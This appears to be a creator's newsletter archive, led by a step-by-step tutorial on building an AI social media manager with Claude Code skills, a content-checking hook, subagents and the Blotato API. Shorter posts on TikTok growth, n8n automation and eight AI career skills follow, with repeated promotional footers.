When I start a new feature, bug fix, or task, I clear the conversation so the context is clean. If I have a CLAUDE.md file with extensive project instructions, I make a shortcut like `qnew` that tells Claude to re-read the CLAUDE.md. This way Claude starts each session with full project context but no leftover noise from previous tasks.

VSCode Extension vs Terminal

Claude Code runs 2 ways in VS Code: the official Claude Code extension (sidebar UI) or the terminal (`claude` command).

For 99% of people, I recommend the official extension. It has a clean, user-friendly interface and handles everything in this tutorial.

I personally use the terminal most of the time because I get access to Vim mode for faster text editing. You can also launch `claude --chrome`, a beta feature that lets Claude browse the web, test your apps, and operate with a visual feedback loop. These features are not available in the extension yet.

If you are comfortable in a terminal, try it. Otherwise, stick with the extension -- everything in this tutorial works the same either way.

Model

I use the most capable model available for almost everything.

As of this post, that is Opus 4.6.

The only time I switch to Sonnet or Haiku is when I know the session involves straightforward, low-complexity work. For anything technical -- building skills, writing API integration logic, debugging -- I stick with the top model.

For this tutorial, use the most capable model for all five steps. The API orchestration, brand voice adaptation, and subagent coordination all benefit from stronger reasoning.

Step 1: Create the `/post` Skill

What are skills?

A skill is a custom slash command you build for Claude Code. You type `/post` (or whatever you name it) and Claude follows the instructions you defined. Skills persist across conversations -- you build them once, then reuse them forever. See the [official Skills documentation](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) for the full reference.

Skills live in your project as a directory with a `SKILL.md` file:

.claude/
  skills/
    post/
      SKILL.md       <-- the skill instructions (required)

The `SKILL.md` file has YAML frontmatter at the top (name, description, argument hint) followed by the instructions Claude follows when you invoke the skill. The directory name becomes the slash command: `.claude/skills/post/` becomes `/post`.

You do NOT need to create this file structure manually. When you tell Claude to create a skill, it builds the directory and writes `SKILL.md` for you. But knowing the structure helps if something goes wrong -- if `/post` does not appear when you type `/`, check that the file is at `.claude/skills/post/SKILL.md` or restart your Claude session.

Building the skill

Start simple. The first version of `/post` targets a single platform so you can verify everything works: your API key, your connected accounts, the visual generation, and the publishing flow. Once this works end-to-end for one platform, you will upgrade it to post to all platforms in parallel in Step 4.

Paste this prompt into Claude Code:

create a new claude code skill “post” in this folder
skills docs: https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview

ai social media manager that makes posts for linkedin, instagram, twitter, and facebook

user inputs a platform and any combination of: a topic, an existing post to adapt, a URL (youtube, tiktok, article, pdf, audio, website, blog), or their own image/photo URLs

figure out the intent from whatever the user provides

use Blotato for extraction, creating visuals, and publishing to socials: https://help.blotato.com/api/llm

Blotato API supports scheduling: publish now, future date (scheduledTime), or next free slot (useNextFreeSlot). Default to useNextFreeSlot: true for all posts so they get queued to  content calendar instead of publishing immediately.

create .claude/settings.local.json with BLOTATO_API_KEY in env field and ask me to paste key

maintain separate file with a running log of my published posts and their live URLs

ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully

Notice the last line of the prompt: “ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully.”

This is one of the most useful patterns when interacting with AI.

You do NOT need to have everything figured out in your 1st prompt. As Claude asks you questions, the gaps in your thinking and instructions become obvious. You can fill them in via dialogue rather than trying to anticipate every detail upfront.

Answer each question one at a time.

Once it has enough context, it builds the skill.

Testing the Skill

Once the skill is created, close Claude Code and open a new session. Now type `/` and you should see `/post` in the list.

Before testing the skill, set up your Blotato account and API key:

1. Sign up at https://my.blotato.com and connect your socials

2. Go to https://my.blotato.com/settings/api and generate API key

3. Open .claude/settings.local.json in your project folder and paste your Blotato API key:

{
  “env”: {
    “BLOTATO_API_KEY”: “your-api-key-here”
  }
}

This file is automatically gitignored, so your key stays local. Claude Code loads `env` values from this file into every shell command automatically.

When ready, let’s test drive it!

/post “ChatGPT prompt tips for beginners” twitter

You can also pass a YouTube URL, Tiktok video URL, audio file URL, PDF link, or website... and Blotato extracts the transcript/text automatically to be used in generating your content:

/post “how to make $1m from $0” twitter <paste_youtube_url>

Claude will generate a visual, write the post text, and schedule/publish it to social media, and logs the result.

While you’re waiting for the visual to be created, check its preview here: https://my.blotato.com/videos

One command. One post. One platform.

The goal here is to verify the full pipeline works end-to-end before scaling it up. If your API key is wrong, your accounts are not connected, or the visual generation fails, you want to catch that now -- not when you are publishing a week of content to multiple platforms.

This step teaches you how Claude Code skills work and how Blotato’s async API pattern operates: submit a request, poll for status, use the result. This is the most common API pattern, so it’s great to get familiar with it now.

IMPORTANT: in my next tutorial, I’ll show you how to connect an MCP server which is MASSIVELY simpler, but it’s important to learn this approach because many tools/services do NOT have an MCP server yet or their MCP is quite limited.

In Step 4, you will upgrade this skill to post to all platforms at once with parallel subagents.

Step 2: Add Per-Platform Brand Voice

The `/post` skill works, but the output sounds generic. Every platform gets the same tone. Twitter posts read like LinkedIn posts. LinkedIn posts feel too casual.

Fix this by feeding Claude samples of your voice on each platform, along with a writing style guide that keeps the output sounding human. I use a [humanize prompt](https://www.sabrina.dev/p/best-ai-prompt-to-humanize-ai-writing) that strips out common AI-sounding patterns:

add samples of my brand voice and writing style to the /post skill:

# WRITING STYLE (apply to all platforms):

- Use clear, simple language.
- Use short, impactful sentences.
- Use active voice; avoid passive voice.
- Focus on practical, actionable insights.
- Use “you” and “your” to directly address the reader.
- AVOID em dashes. Use commas, periods, or ellipsis “...” instead.
- AVOID constructions like “...not just this, but also this”.
- AVOID metaphors and cliches.
- AVOID generalizations.
- AVOID unnecessary adjectives and adverbs.
- AVOID hashtags, semicolons, markdown, asterisks.
- AVOID these words: “can, may, just, that, very, really, literally, actually, certainly, probably, basically, could, maybe, delve, embark, enlightening, esteemed, shed light, craft, crafting, imagine, realm, game-changer, unlock, discover, skyrocket, abyss, not alone, in a world where, revolutionize, disruptive, utilize, utilizing, dive deep, tapestry, illuminate, unveil, pivotal, intricate, elucidate, hence, furthermore, however, harness, exciting, groundbreaking, cutting-edge, remarkable, remains to be seen, glimpse into, navigating, landscape, stark, testament, in summary, in conclusion, moreover, boost, powerful, inquiries, ever-evolving”
- IMPORTANT: Review every post and ensure no em dashes!

# BRAND VOICE SAMPLES (per platform):

Twitter voice:
<PASTE TWITTER EXAMPLES>

LinkedIn voice:
<PASTE LINKEDIN EXAMPLES>

Instagram voice:
<PASTE INSTAGRAM EXAMPLES>

Facebook voice:
<PASTE FACEBOOK EXAMPLES>

Paste real posts you have written. The more examples you give, the better Claude matches your voice. The writing style rules at the top eliminate the patterns that make AI-generated text obvious: em dashes, filler words, superlatives.

If you don’t have samples or want to emulate a specific style, tell Claude to go find them.

For example:

“go find 10 writing samples from Justin Welsh on LinkedIn”

“go find 10 writing samples from Alex Hormozi on Twitter”

Then, Claude will try to pull examples and use them as your voice reference. As you gain traction on social media, I definitely recommend using your own real samples.

After this step, run

/post “non-obvious tips to use Claude Code” linkedin

and compare the output to

/post “non-obvious tips to use Claude Code” twitter

The tone, length, and structure should differ noticeably based on your samples!

This step teaches you how to iterate on a skill.

We aren’t replacing it… we’re augmenting it with CONTEXT!

This is really important to understand:

The per-platform voice guidance becomes essential in Step 4, when this same skill posts to multiple social platforms.

Step 3: Create Quality Gate

Your `/post` skill writes and publishes content. But what happens when a post contains an em dash you hate, exceeds the character limit, or goes to Instagram withou an image?

Right now, nothing catches it.

What are hooks?

Hooks run code at key points in Claude Code’s lifecycle. They fire automatically, so you don’t have to remember to call them. A hook can format files after edits, block commands before they execute, inject context at session start, and more.

Claude Code supports 3 types of hooks:

- Command hooks: run a shell script. Deterministic and fast, but uses precise logic which may get complex.

- Prompt hooks: LLM reads your command, understands the content natively, and returns a pass/fail decision.

- Agent hooks: spawn a multi-turn subagent that can read files, run commands, and reason through multi-step validation.

For this tutorial, we’ll use a COMMAND hook. It’s the simplest option for content validation because the LLM understands your post text directly without shell scripts, regex, etc.

Building the hook

create a claude code command hook that runs before any Bash command
that contains “curl” and “backend.blotato.com/v2/posts"

the hook should check the post content for:

- em dashes (replace with “...”)
- posts exceeding the platform character limit
- missing media URLs for platforms that require at least one
- any use of banned words from my brand voice file

if any check fails, block the command and show what needs to be fixed

Now every time Claude tries to publish a post, the hook fires first. If the post fails, the publish command is blocked and Claude sees what needs to be fixed.

You do NOT need to remember to run this quality gate. You don’t need to add it to every skill. It’s automatic!

It fires on every post without additional setup.

To test your hook, try this prompt:

test post hook on excess character tweet

… and you should see the Bash OUTPUT say it blocked the action because “Post validation failed”.

Step 4: Add Subagents for Multi-Platform Posting

Your `/post` skill works, your brand voice is dialed in, and your quality gate catches mistakes. But right now you publish to one platform at a time. The whole point of this system is to post everywhere from one command.

Upgrade the /post skill to create 1 visual and publish to all platforms in parallel:

update the /post skill to support posting to all platforms at once:

/post “How to ski in icy conditions” all

when platform is “all”:
- create the visual once, if desired
- spawn subagent for each platform (twitter, linkedin, instagram, facebook, etc)
- each subagent adapts post text for platform’s format, character limits, and brand voice
- all subagents publish in parallel
- log all results to posts-log.md

A subagent is a separate process that handles a task independently. It’s the closest analogy to an ‘ai employee’ working on its own thing, over there independently, with context and tools it needs to complete its task.

Our main `/post` skill delegates work to subagents and collects results when they finish. Subagents run in parallel, which means independent tasks (like publishing to 4 different platforms) happen simultaneously instead of sequentially. Each subagent inherits the hooks you set up, so your quality gate applies everywhere!

Now run:

/post “Ski tips on icy conditions “ all

Claude creates 1 visual, drafts posts for each platform using your brand guidelines, and asks for your approval.

Once you approve, it spawns subagents to publish in parallel. If everything works, you’ll see separate TASK boxes while Claude is thinking.

Why not publish sequentially?

Because each publish is asynchronous. Claude submits the post to the Blotato API, then polls every few seconds until the status reaches `published`. That’s 5-30 seconds of waiting per post. 4 posts sequentially means up to 2 minutes of idle polling. 4 subagents in parallel means one wait.

Each subagent independently manages its own async cycle: submit the post, poll for status, handle the result, log it.

The drafting and approval happen in the main agent.

So, the API waiting gets parallelized, which is especially useful for our next and final step...

Step 5: Create the `/plan-week` Skill

Now, we have all the pieces:

• a content creation skill with copywriting and visual generation

• a brand voice guide with writing samples and banned words

• a quality gate that runs automatically

• efficiently parallel multi-platform posting

Now let’s tie everything together into a single command that plans and schedules 1 week of content.

create a new claude code skill called “plan-week”

it should:

- accept any combination of: a topic, existing draft posts, URLs (youtube, tiktok, article, pdf, audio, website, blog), or image/photo URLs
- figure out the intent from whatever the user provides
- research the topic or extract content using Blotato’s Create Source API
- write weekly content plan to content-plan.md using sections per post, so I can read and edit fields: day, post number, topic, draft text, visual (yes/no), template name
- draft text should be the full post content with proper formatting (line breaks, short sentences, lists), not a summary. Write it like a real post, adapted per platform.
- create the visual once per day so all posts that day use same visual
- available visual templates: https://help.blotato.com/api/create-video/visuals
- show me the plan and ask for approval
- Blotato API supports scheduling: publish now, set a future date (scheduledTime), or next free slot (useNextFreeSlot)
- after I approve, use parallel subagents to publish/schedule each post
- reuse the /post skill’s brand voice, API config, and posts log

ask me clarifying questions, one at a time, until you are 95% confident

Before running it, I recommend using Blotato’s ‘next free slot’ so you can setup your posting schedule one time, then new posts will just be queued up every day. That way, you don’t have to worry about scheduling exact days or times.

Go here to setup your slot schedule.

Remember to restart your Claude Code session if you don’t see this new skill.

When you’re ready to test drive it, try one of these prompts:

/plan-week “Ski tips for beginners”
/plan-week “takeaways for AI entrepreneurs” <paste_youtube_link>

Claude researches the topic, then generates `content-plan.md` plan and asks for approval. You review it. If a draft needs tweaking, open `content-plan.md` and edit it. When you’re satisfied, tell Claude to continue.

IMPORTANT: if there’s a really big gap between what you want vs. what Claude produced, tell Claude exactly that and ask it to update the Skill so it gets better for next time!

Next, Claude spawns a subagent for each post, each running in parallel.

When everything finishes, check your content calendar to see all the posts scheduled for the week:

https://my.blotato.com/queue/schedules

This ties together EVERYTHING we’ve learned so far!

The `/plan-week` skill uses Blotato API for research (Step 1), per-platform brand voice for content adaptation (Step 2), the quality gate hook for automatic checks (St3), and parallel subagents for batch execution (Step 4).

You review and approve the plan before executing anything.

You stay in control, ensuring a high quality bar.

AI + Automation handles all the boring tedious sh!t.

Step 6: Create CLAUDE.md

You have a working system.

2 skills, a quality gate hook, brand voice samples, and a published posts log.

But every time you start a new Claude Code session, Claude starts fresh.

CLAUDE.md to the rescue!

It’s a file at the root of your project that Claude Code reads at the start of every session. Whatever you put in CLAUDE.md becomes persistent context so Claude knows it before you say anything.

create a CLAUDE.md file that codifies everything we’ve built in this project:

- link to Blotato API docs (https://help.blotato.com/api/llm)
- API key is in settings.local.json env, reference $BLOTATO_API_KEY in curl commands
- always use inline -d for curl payload
- link to the brand voice file
- link to the quality gate config
- link to posts-log.md
- any other patterns or conventions we established

Claude reads through your project, pulls together the repeating patterns that worked well, and codifies them in CLAUDE.md for future use.

From now on, every new session starts with full context. If you clear the conversation, start a new session, or come back tomorrow, Claude already knows how your project works.

Just like your skills continuously evolve, you should continually improve your CLAUDE.md file as well. It’s as simple as asking Claude - reflect on our conversation and update CLAUDE.md file.

CONGRATULATIONS!! Here’s What You Built…

btw you have my full permission to repurpose this tutorial <3<3

check out THOUSANDS more Claude Code skills here.

Step 1: /post “topic” twitter          --> verify the pipeline works end-to-end

Step 2: (brand voice per platform)     --> posts match your voice

Step 3: (quality gate hook)            --> automatic checks on every post

Step 4: /post “topic” all              --> one visual, all platforms in parallel

Step 5: /plan-week “topic”             --> full week, all platforms, review gate

Step 6: CLAUDE.md                      --> Claude remembers context across sessions

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

Learn how to use Claude Code to build your own AI social media manager in minutes. In this video, I’ll walk you through setting up Claude Code and the exact prompts to use to write content in your brand voice, generate visuals, and post to social media. If you want to save time, stay consistent, and leverage AI agents like a pro, this step-by-step tutorial will show you exactly how to do it.

To support my free AI education: LEAVE A COMMENT 🙏

Prompt 1 - AI Agent Social Media Manager

Highly recommend following the Youtube tutorial to set things up properly, including installing Visual Studio Code, installing Claude Code, and opening a project directory.

After opening Claude Code, here’s the prompt to kick things off:

create a new claude skill

ai social media manager that knows my brand voice and makes social media posts for linkedin, instagram, twitter, and facebook

use Blotato API to handle publishing to social media and creating visuals

API docs for posting: 
https://help.blotato.com/api/api-reference/openapi-reference/publishing

API docs for visuals: 
https://help.blotato.com/api/api-reference/create-video

maintain a separate file with a running log of my published posts and their live URLs

ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully

Prompt 2 - Your Brand Voice

Use this prompt to improve your AI Social Media Manager, so that it writes in your unique brand voice. Paste lots of real examples for the best results!

add samples of my brand voice to the skill:

<PASTE SOCIAL MEDIA POST EXAMPLES HERE>

Prompt 3 - Your Quality Gates

Use this prompt to add quality checks to your content.

For example, detecting/replacing/removing all em dashes :)

You can add many more types of quality gates; this is literally the most basic example.

create a helper script that runs before publishing a post that checks ALL of the following quality criteria are met:
- replace em dash with ellipsis "..."
- <ADD MORE QUALITY CHECKS HERE>

Next Steps…. Win $6k at My Vibe Code Hackathon!

March 6 to March 8 2026!

Vibe code hackathon sponsored by me (Blotato) and Marcin AI

Join here (free): https://www.skool.com/hackathon

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

AI + psychology + self-improvement

In this video, I share the most common limiting beliefs around success and making money.

Then I walk through a few ChatGPT prompts to help you evaluate your own limiting beliefs and break through.

To support my free AI education: HIT LIKE + DROP A COMMENT🙏

ATTENTION BUSINESS OWNERS:

Enter $500 Gift Card Raffle!

Help me understand your current process and biggest challenges in creating content for your business.

To thank you for your time:

• I’m giving out 3 (three) $500 Amazon gift cards

• I will personally help you if I notice issues/gaps that can be easily fixed

Here’s the link.

Feel free to share this with other business owners!

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

In this 3-part video series, I’ll teach you everything you need to know to start building AI Automations in n8n.

It’s difficult to learn this skill via passive reading, so please follow along this Youtube tutorial:

To support my free AI education: HIT LIKE + LEAVE A COMMENT🙏

What is the workflow?

• Use AI to research topic

• Use AI to make carousel/video

• Post to social media platforms

Who is this for?

• Small businesses that want to consistently post on socials

• Creators who want to repurpose their Tiktok/Youtube videos into different media format (e.g. video → carousel)

• Building personal or faceless brand channels

• Posting daily news updates to your audience

• Entertainment style faceless videos

Next Steps

This tutorial walks through the basics of setting up this powerful content workflow. Treat it as a base template.

To improve it further, spend lots of time experimenting with different visual styles and text outputs.

In the next video, I’ll show you how to use the n8n AI Agent.

OIdies But Goodies…

Here are previous tutorials you may have missed!

• 3 simple tips to unlock ChatGPT genius mode

• Easy social media system in n8n & Make

• Explaining AI agents vs AI workflows

• Vibe coding Blotato with Cursor AI

• AI wealth creation blueprint

• My first long youtube ever!

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

If you want to blow up on TikTok in 2026, this one’s for you!

Follow my simple 30-day plan to get more views, grow your audience, and start gaining 100+ followers per day. Even if you're brand new or feel stuck in 200-view jail.

This system works. I'm living proof. Many others are too.

This strategy works without luck, and it’s designed for creators who are serious about growing their brand, selling products, or turning content into a meaningful income stream/business.

Whether you're an online coach, an educator, a SaaS founder, or just trying to figure out how the algos work… this video will show you what to do every day, how often to post, and how to finally start getting results from social media.

Watch my Youtube for the full tutorial:

To support my free AI education: HIT LIKE + LEAVE A COMMENT🙏

Please watch the Youtube video for the full hands-on tutorial.

I screenshare how to find viral examples and how to use AI to help write your hooks and scripts.

Below, I’ll just answer some FAQs:

1. Why Tiktok?

I agree with Gary Vee on this one…

Tiktok remains the #1 social platform in the world and the only platform where A SINGLE post can dramatically transform your life/business overnight.

It's also the best platform for new creators because you don't get punished for posting multiple times per day. This means you can post multiple times daily, collecting the data you need faster to iterate on what's working. TikTok teaches you how to be a good creator faster than if you were to start on other platforms. Because you get more reps in. More feedback, faster. So you can double down on what’s working.

And Tiktok does not care how many current followers you have. Every single post gets a fair shot at virality, even if you have ZERO followers today.

2. Which AI Tool Should I Use?

It does NOT matter which AI tool you use. There is no right one. Honestly, you don’t need AI when you’re just starting out.

The most important thing is consistency over a long time horizon. I don’t want to recommend any specific AI tool and imply it guarantees success.

In my YouTube tutorial, I’ll show you how to use ChatGPT for free to help write hooks and scripts. But it is NOT a magic bullet.

You must still put in the work, lots of trial and error, pushing through moments of self-doubt.

However, I assure you it is 1000% worth it.

My background is tech and I laughed off “influencer” stuff for a long time. But I was wrong. Creating content is an incredible source of leverage (for my own projects) and an incredible opportunity to serve/teach millions of people around the world.

3. But what if my audience isn’t on TikTok?

I still encourage starting with TikTok even if you don’t think your audience is on it because of question #1 one above. TikTok teaches you to be a good content creator faster than any other platform. With that said, you’re probably mistaken believing nobody in your audience is on TikTok.

I’ve found pretty much everybody is either on TikTok or Instagram and the principles you learn creating content on TikTok will apply directly to Instagram as well. Also, you can repurpose content from TikTok directly to Instagram, which is what I do on autopilot. I literally don’t know how to use Instagram; I never open it. Yet, I’ve grown from zero to almost 500k IG followers on autopilot.

I’ve been DM‘ed by folks crushing it at the top of their industry, C-level executives at public companies, and even billionaires… just by posting on social media. It’s kinda surreal.

4. What’s the #1 mistake to watch out for?

The answer is simple:

Giving up too early.

Be realistic in your timelines. Expect ~12 months to build up momentum, especially because you probably won’t be consistent posting multiple times per day.

“Get your first 100 posts out of the way as fast as possible.”

I think I watched a video podcast where the guest said that, and it really stuck with me. Honestly, 100 posts is just a warm up. You’re still figuring out your voice, what you like to talk about, your step-by-step posting process, etc.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

Everyone is scared AI will replace them.

You see kids building apps and automations, somehow printing money, while you feel overwhelmed, jealous, and eager all at once.

But you don’t need to be a tech genius or a coder to win.

You just need these 8 skills to future-proof yourself.

Watch my Youtube for my whiteboard lecture!

To support my free AI education: HIT LIKE + LEAVE COMMENT🙏

Below, I’ve listed the 8 skills with only brief commentary.

Watch the full Youtube video with my whiteboard breakdown!

Phase 1: Mindset

These are 3 foundational skills that will serve you for the rest of your career.

It was hard to choose only 3.

But I’m 100% confident these 3 skills lay the foundation for EXPONENTIAL GROWTH.

They are NOT specific to AI, by design.

1. Skepticism

• Trap: Believing what you hear. This often fuels “Shiny Object Syndrome” where you try every new tool or business model you just heard on Instagram. Jumping ship from vibe coding to automations to whatever Reel you just saw.

• Skill: Be skeptical of clickbait engineered hype. Be skeptical of AI generated answers. Be skeptical of expensive paid courses. Be skeptical of gurus who claim you need their special knowledge to succeed.

2. Learn to Love Learning

• Trap: Stressed and afraid to learn new things, so when new AI tools come out you feel overwhelmed and resist learning. Putting too much pressure on yourself over making money right now with every thing you do.

• Skill: Relax a lot, stop thinking about everything in terms of immediate ROI, stop stressing over falling behind, play with AI tools and HAVE FUN.

3. Learn in Public

• Trap: Avoiding posting content because you’re waiting until you’ve mastered an AI tool/skill, or finished building.

• Skill: Share your learnings, wins, and failures online transparently. Even if something fails, you can just say, “I tried this, it didn’t work, but here’s what I learned.” Build your brand and help people who are a few steps behind you. AI makes creating content cheap. Trust is expensive. Become the “AI Person” in your circle so that opportunities come to you.

Phase 2: AI Foundations

These are foundational skills when using any AI tool.

4. Context Engineering

• Concept: The more high-quality information and context about your situation, goals, what you’ve tried, what didn’t work, data, etc. you give AI, the higher-quality answers you get.

• Template: Instead of overly focusing on writing the perfect prompt, focus on providing high-quality context (information) to AI. A simple template I like to use:

  • You are a top 0.1% expert in FIELD, helping me with TASK

  • CONTEXT: bullet point list of all my info

  • CONSTRAINTS: bullet point list of all my constraints

  • Ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully

5. Sparring Partners

• Concept: Stop using AI for surface-level answers. Use AI to understand what questions you should’ve been asking.

• Action: Tell AI to act as a critic or skeptic. For example, instead of ChatGPT glazing you, ask it, “Tear my idea apart and find my blind spots.” Use multiple LLM models to compare and contrast answers; look for convergence and divergence of answers.

Phase 3: AI Tech Stack

Here are the technical skills you should learn in 2026 to increase your leverage and actually use AI to scale yourself. However, if you’re still struggling with the previous 5 skills, I recommend spending your time on developing those FIRST.

6. Vibe Coding

• What is vibe coding? Building apps in plain English. You no longer need to spend years learning coding syntax to spin up simple sites.

• You can build websites, landing pages, calculators, lead magnets, and simple web & mobile apps just by describing them. The key is to keep it SIMPLE, like literally 1 tiny feature, and describe it clearly.

7. AI Systems

• There’s a big difference between chatting manually with ChatGPT vs. having a 24/7 system on autopilot doing work.

• For example:

  • Old Way: Copy/paste a customer support ticket email into ChatGPT, write reply, paste back into Gmail.

  • New Way: AI system that reads the support ticket, checks your knowledge base, and sends a reply via Gmail.

• The reason why I’m so excited teaching AI, especially to entrepreneurs, is because you can now scale yourself to meaningful income levels, without traditionally hiring a big team or raising capital. You can own your destiny. To be honest, I sleep A LOT better without investors or a Board. But the key is to build AI systems that work while you sleep.

8. Documentation

• However, AI Systems fail if they don’t know the rules. That is, if they don’t have meaningful or sufficient context.

• I chose Documentation as a separate skill because the mileage you get out of AI systems squarely depends on the quality of your documentation. It is the “brain” powering your AI System. Write clear, step-by-step instructions. Continually update your documentation, as it becomes your competitive advantage.

• Think about it this way: “How would you explain this task to a brand new employee?” Write that down. That’s your documentation.

The Formula

The gap between winners and losers isn’t technical ability.

It comes down to this formula:

AI Leverage = Skills x Clarity

And when it comes to Skills, if you love learning and learn in public, you’ll be able to acquire new skills quickly while building your brand in the process.

You get rewarded for learning (since brand is an asset).

Plus, communicating what you’ve learned helps you learn it better.

The more Skills you have, the more Clarity you have when using AI. You provide better context to AI tools, you have deeper complex sparring sessions, and you make smarter decisions about what AI Systems and Vibe Coded apps are worth building.

Most importantly, use AI to level up YOU.

The more skills you have, the more clarity you will have, and the more leverage you will get out of AI.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year